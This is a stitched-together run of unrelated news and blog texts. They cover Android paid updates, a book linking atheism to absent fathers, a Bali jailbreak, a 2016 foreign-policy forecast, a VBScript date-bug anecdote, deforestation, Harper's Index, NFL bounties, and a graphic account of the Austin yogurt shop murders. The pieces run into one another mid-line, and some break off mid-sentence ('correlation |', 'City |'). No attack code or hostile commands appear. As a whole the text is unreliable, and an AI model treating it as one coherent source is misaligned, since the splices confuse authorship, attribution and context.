There is always the possibility that paid updates would be pirated. An OEM could probably use the device ID to manage who can install an update, but we would caution against this. It’s important to remember that this is new revenue, and the rate of piracy would have to be very high to erode profits on paid updates.
It is a little galling to think about paying for something that used to be free, but there’s no guarantee you would have ever gotten it otherwise. Paying $10 for an update is simply a way to make sure OEMs pay attention to the users, and not just the carriers. You will have a direct relationship with the company that made your phone, and they will be beholden to you for that $10. A system of optional paid updates is just the best way to fix Android’s fragmentation problems.How does one become an atheist? Does a person’s relationship with his earthly father affect his relationship with his heavenly Father? These are some of the questions we will explore in this article as we talk about the book Faith of the Fatherless by Paul Vitz.
Vitz is a psychologist who was an atheist himself until his late thirties. He began to wonder if psychology played a role in one’s belief about God. After all, secular psychologists have been saying that a belief in God is really nothing more than infantile wish fulfillment. Dr. Vitz wondered if the shoe was on the other foot. Could it be that atheists are engaged in unconscious wish fulfillment?
After studying the lives of more than a dozen of the world’s most influential atheists, Dr. Vitz discovered that they all had one thing in common: defective relationships with their fathers. The relationship was defective because the father was either dead, abusive, weak, or had abandoned the children. When he studied the lives of influential theists during those same historical time periods, he found they enjoyed a strong, loving relationship with a father (or a father substitute if the father was dead).
For example, Friedrich Nietzche lost his father (who was a pastor) before his fifth birthday. One biographer wrote that Nietzche was “passionately attached to his father, and the shock of losing him was profound.” Dr. Vitz writes that Nietzche had a “strong, intellectually macho reaction against a dead, very Christian father.” Friedrich Nietzche is best known as the philosopher who said, “God is dead.” It certainly seems possible that his rejection of God and Christianity was a “rejection of the weakness of his father.”
Contrast Nietzche with the life of Blaise Pascal. This famous mathematician and religious writer lived at a time in Paris when there was considerable skepticism about religion. He nevertheless wrote Les pensées (Thoughts), a powerful and imaginative defense of Christianity, which also attacked skepticism. Pascal’s father, Etienne, was a wealthy judge and also an able mathematician. He was known as a good man with religious convictions. Pascal’s mother died when he was three, so his father gave up his law practice and home-schooled Blaise and his sisters.
Here we are going to look at the correlation |
just let us know we check a couple of boxes and make sure it doesn't happen again," Turnbull said.
While Meow's political affiliations remain a mystery, Lyes joked she could remember a conversation they shared earlier in the year.
"He didn't admit much but he did say that he wasn't a fan of Gareth Morgan. So if he were to join politics, he would definitely vote against him!"Media playback is unsupported on your device Media caption A hole found in the outer wall connected to the tunnel
Indonesian police are searching for four foreigners who escaped from Bali's Kerobokan Prison using a tunnel.
The prisoners were identified as Australian Shaun Edward Davidson, Bulgarian Dimitar Nikolov, Indian Sayed Muhammad and Malaysian Tee Kok King.
Prison governor Tony Nainggolan said he believed the men were still on the resort island.
Prisons in Indonesia are dealing with an influx of people arrested for drug offences, and breakouts are common.
The four men were serving jail terms for a mix of drug and fraud offences.
They are believed to have escaped through a 50cm by 70cm hole found in the outer wall which connects to a 12m-long (36-foot) narrow tunnel, officials said.
Some reports said it was an existing tunnel used for water drainage.
Image copyright ABC
Staff noticed they were missing on Monday morning during a routine check.
Australian Shaun Davidson had less than three months left of his sentence to serve, according to the jail governor.
About 200 prisoners broke out of an overcrowded jail on Sumatra island in May after being let out of cells for Friday prayers.
Inmates had accused some guards of being violent and complained about their treatment in jail.This year will be another year of intense and complex foreign policy challenges. But it will also be a year of revelations.
In a number of areas, 2016 could be the year when international affairs begin at least to stabilise after the rollercoaster ride of unexpected crises seen since 2014.
Image copyright Reuters
Resolving Brexit
It is possible that the British people could get a vote as early as June on whether the country should remain in the EU or leave. This will be a seminal moment, not just for the UK, but for the EU as a whole.
For the UK, leaving would entail major diplomatic distraction and economic disruption while it negotiates the terms of its departure, the likely resignation of the prime minister, and steps towards a new referendum on Scottish independence.
Remaining in the EU would allow the government to focus on its economic agenda - including the still difficult objective of reducing the deficit and raising productivity - and on regaining a position of influence on issues of importance to its security, from the fight against so-called Islamic State (IS, also known as Isis, Isil, and Daesh) to working with its EU neighbours on controlling immigration.
In the end, the EU referendum campaign will revolve not around the prime minister's recent negotiations, but rather on whether the British people feel they will be safer, economically and personally, inside the EU or outside.
Image copyright Reuters
Managing immigration into Europe
More than 1.8 million people entered the EU illegally between January and October 2015, with some 980,000 applying for asylum. These numbers include refugees from conflicts in Syria, Iraq and Afghanistan and economic migrants from the Balkans, the Middle East and Africa.
The European Commission has estimated that, even if the EU accepted 1.4 million immigrants a year for the next three decades, the EU would still end up having two working-age people for every person aged over 65, compared with four today. So added numbers should be welcome.
But the concentration of large-scale immigration through the Eastern Mediterranean and Western Balkans and into a concentrated number of destinations (principally Germany, Hungary, Italy and Sweden) has thrown into sharp relief the inadequacy of the EU's Schengen Agreement.
In 2016, EU governments will have under six months to prepare themselves for the next summer spike in migration flows across the Mediterranean. Arriving at consensus among EU member states will be very difficult, especially as the migration issue has strengthened nationalist parties across the EU.
But, even if Schengen is suspended, the scale of the challenge is likely to drive governments to strengthen external EU border controls, finance processing centres and better distribute arrivals across the EU.
Image copyright AP
IS - here to stay?
An additional factor likely to drive EU governments towards a more unified approach to border management will be the fear of another terrorist attack by IS members or sympathisers in a European city. Such an attack is not just possible, but probable.
In 2016, however, IS will come under the double pressure of an intensified military onslaught from US, European, Russian and Arab forces and a likely UN-brokered ceasefire between the Assad government and the main rebel forces.
The prospect of IS entrenching itself on Europe's borders will force external governments to make the necessary compromises that, if successful, would convert IS from a putative "state", with attendant financial resources, into more of a guerrilla force and terrorist movement.
Even if IS continues to deny central governments in Damascus, Baghdad or Tripoli sovereign control over their territories, 2015 may come to be seen as the apogee of the movement.
Image copyright Getty Images
Russia slowly out of the cold
President Putin may hope that his participation in operations against IS in Syria in 2016 will lead Western leaders to ease the economic sanctions that they imposed on Russia in the summer of 2014, at the height of the conflict in eastern Ukraine.
This would ease the growing stand-off between Russia, the US and its Nato allies, which has been a major destabilising factor in international affairs in the past 18 months.
It seems unlikely that EU sanctions linked to eastern Ukraine will be lifted without full implementation of the Minsk II agreement (including the Ukrainian government regaining control of the border between the Donbass and Russia, which remains a distant prospect).
However, both sides appear to want to cap the recent escalation of tensions, and easing sanctions could offer an interim path in 2016 towards a thaw in Russia-Western relations.
Although there will be no return to the status quo ante, 2016 could witness the beginning of two fundamentally different systems of economic and political governance finding a way to live together.
Image copyright Getty Images
Revelations but not resolutions
There will be plenty of other foreign policy challenges in 2016, such as responding to China's rise in East Asia, a possible worsening of the Israeli-Palestinian stand-off, or destabilisation in vulnerable countries from the gradual tightening of US interest rates or the persistence of low oil and other commodity prices.
The pressures driving migration to the EU will not disappear in 2016, nor will IS - especially if growing Saudi-Iranian tensions scupper a deal over Syria.
Implementing the trade agreement, including the Deep and Comprehensive Free Trade Area, between Ukraine and the EU in January will create another bone of contention with Moscow.
Also, if David Cameron wins the referendum to keep the UK in the EU, some Conservative MPs may choose to leave their party rather than toe the line of continued EU integration. With a narrow 12-seat parliamentary majority, this could cause serious domestic problems for the UK government.
But it is not unreasonable to take a more optimistic perspective. The West is adjusting, and 2016 may witness some stabilisation of the plethora of simultaneous international crises that have so stressed governments across the world for the past two years.
Robin Niblett is the director of the think tank Chatham House.Fixing bugs is hard.
For the purposes of this posting, I’m talking about those really “crisp” bugs -- those flaws which are entirely due to a failure on the developer’s part to correctly implement some mechanistic calculation or ensure some postcondition is met. I’m not talking about oops, we just found out that the product name sounds like a rude word in Urdu, or the specification wasn’t quite right so we changed it or the code wasn’t adequately robust in the face of a buggy caller. I mean those bugs where you were asked to compute some value and you just plain get the result wrong for some valid inputs.
Let me give you an example.
The first bug I ever fixed at Microsoft as a full-time employee was one of those. To understand the context of the bug, start by reading this post from the early days of FAIC, and then come back.
Welcome back, I hope you enjoyed that little trip down memory lane as much as I did.
Now that you understand how a VT_DATE is stored, that explains this bizarre behaviour in VBScript:
print DateDiff("h", #12/31/1899 18:00#, #12/30/1899 6:00#) / 24
print DateDiff("h", #12/31/1899 18:00#, #12/29/1899 6:00#) / 24
This prints –1.5 and –2.5, as you’d expect. There’s a day and a half between 6 AM December 30th and 6 PM December 31st, and two and a half days between the other two dates. This is perfectly understandable. But if you just subtract the dates:
print #12/31/1899 18:00# - #12/30/1899 6:00#
print #12/31/1899 18:00# - #12/29/1899 6:00#
You get 1.5 and 3, not 1.5 and 2.5. Because of the bizarre date format that VT_DATE chooses, when you convert dates to numbers, you cannot safely subtract them if they straddle the magic zero date. That’s why you need the helpful “DateDiff”, “DateAdd” and so on, methods.
The bug I was assigned was that testing had discovered a particular pair of dates which DateDiff was not subtracting correctly. I took a look at the source code for one of the helper methods that DateDiff used to do one of the computations it needed along the way. To my fresh-out-of-college eyes it looked something like this:
if (frob(x) > 0 && blarg(y)) return x – y;
else if (frob(x) < blarg(y) && blah_blah(x) > 0 || blah_de_blah_blah_blah(x,y)) return frob(x) – x + y + 1;
else if…
There were seven such cases.
My urge was to dive right in and add an eighth special case that fixed the bug. But my ability to get it right in the face of all this complexity concerned me. It seemed like this was an awfully complicated function already for what it was trying to do.
I researched the history of the code a bit and discovered that in fact variations on this bug had been entered… seven times. Each special case in the code corresponded to a particular bug that had been “fixed”, a term I use guardedly in this case. A great many of those “fixes” had actually introduced new bugs, regressing existing correct behaviour, which then in turn were “fixed” by adding special cases on top of the broken special cases that had been added to “fix” previous bugs.
I decided that this coding horror would end here. I deleted all the code (all seven lines of it! I was bold!) and started over.
Deep breath.
Spec the code requirements first. Then design the code to meet the spec. Then write the code to the design.
Spec:
Input: two doubles representing dates in VT_DATE format.
VT_DATE format: signed integer portion of double is number of days since 12/30/1899, unsigned fractional part is portion of day gone by. For example: –1.75 = 12/29/1899, 6 PM.
Output: double containing number of days, possibly fractional, between two dates. Differences due to daylight savings time, and so on, to be ignored.
Design strategy:
Problem: Some doubles cannot simply be subtracted because negative dates are not absolute offsets from epoch time
Therefore, convert all dates to a more sensible date format which can be simply subtracted.
Code:
double DateDiffHelper(double vtdate1, double vtdate2)
{
return SensibleDate(vtdate2) – SensibleDate(vtdate1);
}
double SensibleDate(double vtdate)
{
// negative dates like –2.75 mean “go back two days, then forward.75 days”:
// Transform that into –1.25, meaning “go back 1.25 days”.
return DatePart(vtdate) + TimePart(vtdate);
}
I already had helper methods DatePart and TimePart, so I was done. The new code was shorter, far more readable, generated smaller, faster machine code and most important, was clearly correct. No special cases; no bugs.
It’s not that my coworkers were dummies. Far from it. These were smart people. But computer geek psychology is such that it is very easy to narrow-focus on the immediately wrong thing, and try to tweak it until it does the right thing.
When faced with these sorts of “crisp” bugs, I try to restrain myself from diving right in. Rather, I try to psychoanalyze the person – who is, of course, usually my past self – who caused the bug. I ask myself “how was the person who wrote the buggy code fooled into thinking it was correct?” Did they not have a clear specification of what the method was supposed to do? Was it misleading? Did they have a clear plan for how to proceed? If so, where did it go wrong?
If there never was either a spec or a plan, then for all you know the whole thing might only be working by sheer accident. There could be any number of design flaws in the thing that just haven’t come to light yet. Editing such a beast means adding unknown to unknown. which seldom leads to good results. Sometimes coming up with a new spec, a new plan and scrapping an existing bug farm is the best way to proceed.
For many years after that, I would ask how to implement DateDiffHelper as my technical question for fresh-out-of-college candidates that I was interviewing for the scripting dev team. I reasoned that if that was the sort of problem I was given on my first day in the office, then maybe that would be a reasonable question to ask a candidate.
When you ask the same question over and over again, you really get to see the massive difference in aptitude between candidates. I had some candidates who just picked up a marker, wrote a solution straight out on the board, wrote down the test cases they’d use to verify it, mentally ran a few of the tests in their head, and then we’d have another half hour to chat about the weather. And I had some candidates who tried earnestly to write the version using special cases, despite my specifically telling them “you might consider transforming this bad format into something more pleasant to work with”, after they got stuck on the third special case. I’d point out a bug and immediately they’d write down code for another special case, rather than stopping to think about the fact that they’d just written buggy code three times already and told me it was correct three times.Forests throughout the world are disappearing more slowly than they used to - but, they are still disappearing. That is according to a new report by the United Nations Food and Agriculture Organisation (FAO).
Since 1990, the rate of deforestation worldwide has slowed down more than 50 percent, from an annual net loss of 0.18 percent in the 1990s, to 0.08 percent over the past five years.
While this trend is encouraging, it cannot hide the fact that deforestation continues. The FAO report estimates that 129 million hectares of forest have been lost since 1990 - that amounts to an area roughly equivalent to the size of Peru.
"Forests play a fundamental role in combating rural poverty, ensuring food security and providing people with livelihoods," said FAO Director-General Jose Graziano da Silva upon presentation of the report. "They deliver vital environmental services such as clean air and water, the conservation of biodiversity and combating climate change."
Ancient trees are still being cut down in places like the Indonesian rainforest
Significant strides have been made when it comes to designating forests as protected areas: Some additional 150 million hectares of forest lands have been granted that status since 1990.
During that same period, forests in areas that were already protected have grown by another 200 million hectares. "The management of forests has improved dramatically over the last 25 years," said Kenneth MacDicken, who leads the FAO's global forest resources assessment team.
New vs. old forests
However, a significant portion of the slowdown in deforestation is not due to conservation, but rather to a vast increase of planted forest areas. More than 110 million hectares of new, man-made forest has been created since 1990, and now constitute 7 percent of the world's forest area.
In other words, large swaths of natural forests are still being cut down - it's just that more new trees are planted elsewhere than in the past. Environmentalists point out that such "young" forests generally lack all the natural features of ancient forests, such as higher biodiversity.
"The direction of change is positive, but we need to do better," Graziano da Silva said. "We will not succeed in reducing the impact of climate change and promoting sustainable development if we do not preserve our forests and sustainably use the many resources they offer us."Dr. Jane Goodall has written a letter to the Vancouver Park Board, urging the Vancouver Aquarium to phase out keeping marine animals in captivity.
The letter, dated May 13, says the aquarium was a leader in 1996 when it stopped allowing the keeping of cetaceans such as belugas, dolphins and porpoises caught from the wild. However, the aquarium has continued an on-site breeding program and has loaned belugas to SeaWorld, a practice Goodall says is “no longer defensible by science.”
She says there are high mortality rates in the breeding programs and when the animals are used as entertainment.
Goodall calls on the Vancouver Aquarium to phase out the programs and become “a leader in compassionate conservation on this issue.”
City council voted in April against a Green Party motion to put the future of the aquarium’s captive animal program on the ballot.
There have also been several demonstrations at Vancouver Park Board meetings by animal rights activists, calling for the end of the captivity programs at the aquarium.
Goodall’s full letter is included below:
Related Whale referendum motion voted down by Vancouver City CouncilThe Silent Generation is the demographic cohort following the cohort known in the United States as the G.I. Generation. There are no precise dates for when The Silent Generation starts or ends. Demographers and researchers typically use mid-to-late 1920s as starting birth years and early-to-mid 1940s as ending birth years for this cohort.
It is unclear where the term originated, although it is widely accepted that the term "Silent Generation" comes from the focus on careers over activism. As young adults during the McCarthy Era, many members of the Silent Generation felt it was dangerous to speak out.[1] Time magazine first used the term "Silent Generation" in a November 5, 1951 article titled "The Younger Generation", although the term appears to precede the publication.[2][3][4] The name was originally applied to people in the United States and Canada but has been applied as well to those in Western Europe, Australia and South America. It includes most of those who fought during the Korean War. In the United States, the generation was comparatively small because the financial insecurity of the 1930s and the war in the early 1940s caused people to have fewer children.[3] They are noted as forming the leadership of the civil rights movement as well as comprising the “silent majority”.[5]
They have also been named the "Lucky Few" in the 2008 book The Lucky Few: Between the Greatest Generation and the Baby Boom,[6][7] by Elwood D. Carlson PhD, the Charles B. Nam Professor in Sociology of Population at Florida State University.[8] Carlson notes that this was the first generation in American history to be smaller than the generation that preceded them. He calls the people of this generation "The Lucky Few", because even though they were born during the Great Depression and World War II, they moved into adulthood during the relatively prosperous 1950s and early 1960s. For men who served in the Korean War, their military service was not marked by high casualties as much as the previous generation. The Lucky Few also had higher employment rates than the generations before and after them, as well as better health and earlier retirement. African Americans in this generation also did better than earlier generations in education and employment.[9]
Australia's McCrindle Research uses the name Builders to describe the Australian members of this generation, born between 1925 and 1945, and coming of age to become the generation "who literally and metaphorically built [the] nation after the austerity years post-Depression and World War II".[10][11][12]G lobal consulting group Accenture recently surveyed 4000 North Americans to gain some perspective on the changing nature of payments and cash. The internet and digital realm is disrupting just about everything these days and fiat currency has not been immune to the power of technology. With early innovators such as PayPal and now Apple Pay and the advent of cryptocurrencies things may seem to be getting more complicated at times but the reality is that innovation is driven by demand and convenience. Each new approach to payments sees an opportunity to lessen the use of hard coins and plastic cash. Accenture, in its report, is attempting to see the future by asking how people see themselves making payments by 2020.
Some of the key findings from the report include:
Consumers expect to use traditional payment instruments slightly less and emerging payment instruments more.
Digital currency is a practical reality for consumers today—and usage will only increase by the end of the decade.
Consumers’ use of mobile payments has increased significantly in just two years.
Consumers prefer today to use network card providers as mobile payments providers.
Consumers who use mobile payments can be influenced
to use them more—but challenges remain for adoption among non-users.
While change is inevitable and 2020 is only a scant 5 years away – even in this short of time frame it is difficult to predict what may be around the corner as creative types continue to challenge the world of payments.
Some other points from Accenture include (with no surprise):
8% of surveyed consumers use digital currencies today but that number is expected to grow to 18% by then end of the decade. The youngs among us are more comfortable using digital currency.
While 87% of people use smartphones 41% do not understand they may use the devices to pay.
70% of respondents use PayPal
Nearly 1/3 are ok with merchants tracking their whereabouts. Millennials are even more comfortable with being watched at 37%.
Click to Enlarge.Harper’s Index — From the October 2014 issue
Percentage of U.S. Republicans who say they could not live on the minimum wage : 69
Who support raising it : 37
Minimum number of times since 2011 that members of Congress have accidentally cast the wrong vote : 120
Amount the federal government has budgeted this year for IT maintenance : $58,400,000,000
Percentage of federal agencies whose servers have failed in the past twelve months : 94
Value of a cloud-computing contract awarded by the CIA to Amazon last year : $600,000,000
Estimated number of customers whose data was stolen from Amazon subsidiary Zappos in 2012 : 24,000,000
Number of attempted cyberattacks the average global company experienced in 2013 : 16,856
Amount by which spending on mobile ads is projected to exceed that on newspaper ads this year : $1,000,000,000
Chance that a U.S. newspaper has a statehouse reporter : 1 in 3
Estimated amount of taxes and fees that Colorado has collected from the marijuana industry since legalization : $34,800,000
That Texas collects from undocumented workers each year : $1,608,534,000
Amount Texas has allocated for a three-month deployment of National Guard officers to the border : $38,000,000
Percentage of U.S. counties in which the proportion of racial minorities has grown since 2010 : 94
Percentage change in the proportion of racial minorities in Washington, D.C., since then : –0.8
Percentage of Newark, New Jersey, residents who are black : 54
Of pedestrians stopped by Newark police who are : 81
Portion of Newark police stops that are “legally unjustified” according to a Department of Justice study : 3/4
Percentage by which a black drug-misdemeanor defendant in Manhattan is more likely than a white one to be sent to prison : 15
Factor by which a person in Nevada is more likely than one in Massachusetts to be the target of a federal wiretap : 30
Percentage of Americans who said they were satisfied with their freedom to choose what to do with their lives in 2006 : 91
Percentage who say so today : 79
Number of U.S. states in which workers are not guaranteed paid parental leave : 47
Number of the world’s twenty other wealthiest nations in which they are not : 0
Age at which a female worker in Britain reaches peak earning power : 34
At which a male worker does : 50
Estimated number of women worldwide who were married before the age of 15 : 250,000,000
Number of countries that require their rulers to belong to a particular religion : 30
Percentage by which Americans overreport their religious attendance when asked over telephone rather than online : 13
Portion of Mormon missionaries expected to travel with specially configured iPads by 2015 : 1/3
Minimum number of churches in China demolished or given demolition notices by government order since February : 163
Estimated number of people executed by all countries other than China in 2012 : 682
By China : 3,000
Estimated portion of the past 100 executed U.S. prisoners who suffered from intellectual disabilties : 1/3
Minimum amount paid by the Museum of Death in Hollywood for Jack Kevorkian’s Thanatron suicide device : $25,000
Estimated height in feet of a memorial tree planted for George Harrison that died in July after an attack by beetles : 15
Estimated annual cost of invasive animal, plant, and microbe species to the U.S. economy : $120,000,000,000
Amount Americans spent last year on UNICEF donations to trick-or-treaters : $3,731,057
On Halloween costumes for their pets : $330,000,000
Figures cited are the latest available as of August 2014.
“Harper’s Index” is a registered trademark.
October Index Sources
1,2 Public Policy Polling (Raleigh, N.C.)
3 New York Times/Harper’s research
4 Office of Management and Budget (Washington)
5 MeriTalk (Alexandria, Va.)
6 U.S. Government Accountability Office
7 Zappos.com (Las Vegas)
8 IBM Security Systems Division (Waltham, Mass.)
9 eMarketer Inc. (N.Y.C.)
10 Pew Research Center (Washington)
11 Colorado Department of Revenue (Denver)
12 Institute on Taxation and Economic Policy (Washington)
13 Texas Comptroller’s Office (Austin)
14,15 Pew Charitable Trusts (Washington)
16–18 U.S. Department of Justice
19 Vera Institute of Justice (N.Y.C.)
20 Harper’s research
21,22 Gallup (Washington)
23 National Conference of State Legislatures (Denver)
24 International Labour Organization (Geneva)
25,26 Office for National Statistics (London)
27 UNICEF (N.Y.C.)
28 Pew Research Center (Washington)
29 Public Religion Research Institute (Washington)
30 The Church of Jesus Christ of Latter-day Saints (Salt Lake City)
31 China Aid (Midland, Tex.)
32 Amnesty International (London)
33 Dui Hua Foundation (San Francisco)
34 Rob Smith, University of North Carolina at Chapel Hill
35 Gallerie Sparta (West Hollywood, Calif.)
36 Los Angeles Department of Parks and Recreation
37 David Pimentel, College of Agriculture and Life Sciences, Cornell University (Ithaca, N.Y.)
38 UNICEF (N.Y.C.)
39 National Retail Federation (Washington)A real estate ad in the New Bedford Standard-Times in New Bedford, Mass., shocked a reader when she saw that the ad apparently endorsed racial discrimination.
Buried in the ad for a piece of property in Fairhaven, Mass., was the passage, "The said land shall not be sold, leased or rented to any person other than of the Caucasian race or to any entity of which any person other than that of said race shall be a member, stockholder, officer or director."
Mandi Costa read it and thought, "No way, this cannot be true," she told CBS station WBZ-TV in Boston.
The ad's language was familiar to Costa. "Obviously [the language] is in somebody's will or is an oversight on somebody's part. But this is wrong, this is unfair. I felt like I was back in the 60s," she said.
Records at Fairhaven's town hall show a deed from 1946 when the original property was divided. The Massachusetts Commission Against Discrimination calls it "unlawful and unenforceable under Massachusetts statute."
The law firm in Newton, Mass., that placed the ad said in a statement, "This notice involves a restriction that a previous owner placed on the property. We do not condone the language and do not believe it would be enforceable."
To be sure, Costa has filed a discrimination lawsuit. "Discrimination is alive and well and this is a primary example of something that says we're not equal yet. This is why I'm trying to bring light to everyone," she said. "This is old language. I completely understand that. But this is a new time."
The Massachusetts Commission Against Discrimination is checking to see if any laws were broken when the ad was published. The New Bedford Standard-Times called the ad's placement in the paper a "gross oversight." Harmon Law said it removed the racist language from any future legal notices.Hollywood celebrity Chelsea Handler has helped Georgia Democrat Jon Ossoff reach record fundraising levels with her contributions, but she doesn't even know when the election is.
Handler demonstrated this Tuesday when she invited her nearly seven million Twitter followers to get out and vote for Ossoff—even though the election isn't taking place until next week on April 18.
Special elections today in Georgia. Vote for @JonOssoff in Georgia. He's our man. — Chelsea Handler (@chelseahandler) April 11, 2017
The errant message likely didn't cause too much confusion for southern voters in Georgia, who appear less energized about next week's election than residents of liberal bastions like Hollywood. Ninety-five percent of contributions to Ossoff's campaign—including $2,700 from Handler—have come from sources outside of Georgia.
Handler's sudden interest in the Southern election comes a year after she revealed in an interview with NBC's Matt Lauer that she associates racism with "really like dumb … people from the South.
Click for more from The Washington Free Beacon.An army officer of Rashtriya Rifles was shot dead by a jawan on Tuesday following an altercation between the two in the Uri sector of Jammu and Kashmir, according to media reports.
#FLASH J&K: Army officer of Rashtriya Rifles shot dead by a jawan in Uri sector; more details awaited — ANI (@ANI_news) July 18, 2017
News18 reported that the officer was shot dead after he reprimanded the jawan for using a cellphone on duty.
JUST IN -- Army major shot dead for reprimanding jawan; Major reprimanded jawan for using cellphone on duty pic.twitter.com/zygah1yZ64 — News18 (@CNNnews18) July 18, 2017
The officer, Major Shikhar Thapa, belonged to the 71 Armoured Regiment but was attached to 8 Rashtriya Rifles - the army’s elite counter-insurgency unit deployed in Uri close to the line of control, Hindustan Times reported.
A court of inquiry has been ordered, News18 reported.
The army is expected to issue a statement later on Tuesday.
In 2014, an army jawan killed five of his colleagues and later killed himself at an army camp in Ganderbal district of Jammu and Kashmir.
The jawans belonged to the 13 Rashtriya Rifles and were posted at the Mansabal camp.
With inputs from agencies
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.The Manly Sea Eagles are delighted to announce the retention of in-form second rower Frank Winterstein for a further two years.
Winterstein has extended for 2018 and 2019 following a highly successful transition from Rugby Sevens last year back to Rugby League.
Frank played three games at the end of last season and has turned out for the Sea Eagles in all 16 consecutive appearances on Manly's left edge this season to earn his upgrade and extension.
Manly Chief Operating Officer Neil Bare said the Sea Eagles were delighted to re-sign Winterstein.
"He is a pleasure to have at our club - a total professional both on and off the field.
"Frank is highly committed to our community programmes and will be used extensively in this area during the coming years. The manner in which he has transitioned back to Rugby League is a tribute to his professionalism." Bare said.
Winterstein, 30, made his debut in the NRL in 2008 with the Canterbury Bulldogs but then turned his attention to playing Rugby overseas after several seasons in the English Super League.
Sea Eagles Coach Trent Barrett said Winterstein had earned his new deal through consistently good performances this season.
"Frank took a punt with us and we took a punt with him. He is a pleasure to coach and his team mates love him in the side,’’ Barrett said.
"He turns up every week to play.”
Winterstein said he was enjoying life at the Sea Eagles.
“I am very grateful for the opportunity Trent gave me last year after three years out of the game,’’ Winterstein said.
“For me, it was about making the most of the opportunity and I have loved every moment of it.
“When the offer came to re-sign with the Sea Eagles for a further two years, I couldn’t turn it down.
“We have a great calibre of players at Manly and I wouldn’t find that anywhere else. There is something pretty special building here at the Sea Eagles and I’m glad to be a part of it.”The NFL has summoned Gregg Williams to its New York headquarters for a Monday meeting to discuss the pay-for-performance violations he committed while defensive coordinator of the New Orleans Saints and possibly while he coached other teams.
League sources said Williams will meet with NFL security officials Joe Hummel and Jeff Miller, as well as general counsel Jeff Pash. One source said it will be more of a "meeting" than a "hearing," and that with the league having done such extensive work on Williams' violations in New Orleans, the focus will be on his alleged infractions with other teams.
The Washington Post and Buffalo News reported over the weekend that Williams set similar big-play incentives when he was Redskins defensive coordinator and Bills head coach, respectively. Williams, who also has been an assistant for the Tennessee Titans and Jacksonville Jaguars, joined the St. Louis Rams as defensive coordinator after the 2011 season.
According to sources, Williams has been very cooperative throughout this investigation, after he and the Saints were evasive during a prior probe. Said one source: "He's been a stand-up guy."
One source said discipline will not be discussed at Monday's meeting. However, NFL Commissioner Roger Goodell would like to mete out punishment before the league meeting at the end of the month, giving the involved teams time to make staffing adjustments in the wake of any possible suspensions.
Citing a person familiar with the deliberations, The Post reported Sunday that Williams, Saints coach Sean Payton, general manager Mickey Loomis and players could be suspended, some for as long as half a season or more.
Goodell's focus during this process will be to institute a culture change, according to sources, with the realization that the problem isn't necessarily limited to Williams. Held up in league circles as an example of what's needed was former New England Patriots linebacker Tedy Bruschi's message last week that all players are "in this together" and need to "take care of each other."
Goodell has been in touch with NFL Players Association executive director DeMaurice Smith, sources said, and the league plans to continue working with the union on the matter. Goodell plans to ensure that players are culpable in these matters, too, and responsible for respecting the careers and lives of those around them.
League spokesman Greg Aiello declined to comment Sunday about the meeting with Williams when reached by NFL.com and NFL Network.
Aiello did tell The Associated Press earlier Sunday that the league plans to keep looking at plays from recent seasons in the wake of the findings against the Saints. Aiello said in an email that the NFL will be "addressing the issues raised as part of our responsibility to protect player safety and the integrity of the game."
Lombardi: Commish's biggest verdict Roger Goodell's decisions against those involved in the "bounty" scandal will come under close scrutiny, Michael Lombardi says. Roger Goodell's decisions against those involved in the "bounty" scandal will come under close scrutiny,says. More...
The NFL announced Friday that the Saints maintained a "bounty" pool of up to $50,000 the last three seasons. Payoffs came for inflicting game-ending injuries, among other events.
The investigation by NFL security found that quarterbacks Brett Favre and Kurt Warner were among the players targeted. "Knockouts" were worth $1,500 and "cart-offs" $1,000, with payments doubled or tripled for the playoffs.
All payouts for specific performances in a game, including interceptions or causing fumbles, are against NFL rules. The league also warns teams against such practices before each season.
The NFL said 22 to 27 defensive players were involved in the program administered by Williams, with Payton's knowledge. The league already has interviewed Saints players involved in the bounties and plans to interview more in an effort to gather information and prevent further incidents, according to sources.
The Associated Press contributed to this report.Bob Bowes of Somerville on Monday protested tax breaks and incentives given to GE.
Boston officials initially considered a much smaller tax break for General Electric last fall to lure the company here from Connecticut before raising the offer to an unprecedented $25 million, according to newly released public documents.
City |
as well.
Jennifer, who worked at the yogurt shop with Eliza that night, made plans with Sarah to have Amy over at their house for a sleepover later that night.
The store was scheduled to close at 11:00 PM, but patrolling rookie policeman Troy Gay reported to his dispatcher that the shop was on fire at 11:47 PM. According to a confirmed timeline later presented by prosecutors, the first Austin Fire Department fire truck responded to the two-alarm blaze nearly six minutes later at 11:53 PM.
According to News 8 Austin, the key was still placed inside of the store’s front door lock. Therefore, the firefighters had no choice but to break down the door to access the building. They were unable to see very much of anything due to the vast amount of smoke that filled the entire shop. Sadly, the horrifying nightmare of that evening was not discovered until the smoke cleared.
Crime Scene
The naked body of 13-year-old Amy Ayers was the first discovered, lying face-down on her side in the middle of the shop with an empty cash drawer nearby. It was later confirmed that she died from strangulation and a gunshot wound from a.22 caliber firearm to her head.
A gagged 15-year-old Sarah Harbison was discovered in the back room of the shop. Her hands were tied behind her and investigators confirmed she was sexually assaulted. 17-year-old Eliza Thomas was found on top of Sarah in a similar style, but had not been sexually assaulted. Both teenagers were extensively burned. Sarah’s body could only be identified by her dental records due to her face and body being burned beyond recognition.
The body of Sarah’s 17-year-old sister Jennifer was initially placed on top of the other 2 girls but was apparently moved by the flames after the shop was set on fire. Based on the condition of the crime scene, prosecutors later concluded that each of the young girls had been undressed, gagged and shot execution-style. Three of the four naked bodies were stacked on top of one another and then the shop was set on fire in an alleged attempt to cover the tracks of the people responsible.
Now-retired Sergeant John Jones to the Austin Chronicle, “I’ve seen burned bodies before, but the enormity of that, to have the stacked bodies and…we couldn’t tell a lot then – race or sex.”
Arrest of Four Suspects
Nearly 8 years later, four suspects were arrested – Robert Springsteen IV, Michael Scott, Maurice Pierce and Forrest Wellborn.
After his arrest, Springsteen confessed to sexually assaulting Amy Ayers after she was shot in the head. However, according to My San Antonio, the police confirmed that the sample obtained from Ayers’ vaginal swab did not match Robert’s DNA. Robert was convicted of capital murder and sentenced to death in 2001. His sentence was later reduced to life in prison. Michael Scott was also convicted and received the same sentence of life in prison.
It was alleged that 23-year-old Forrest Wellborn (who was 15 at the time of the tragic murder) was the getaway man who stayed outside of the shop in the vehicle. Prosecutors dubbed Maurice Pierce as the “mastermind” behind the crime, per the Austin Chronicle. He spent over three years in jail before his charges were dismissed in 2003. Neither he nor Forrest were formally tried or convicted due to a lack of evidence.
Five years later, in 2006, the Texas Court of Criminal Appeals ruled that Springsteen and Scott were unfairly denied the opportunity to cross-examine each other thereby violating their basic constitutional right of due process. As a result, their convictions were overturned.
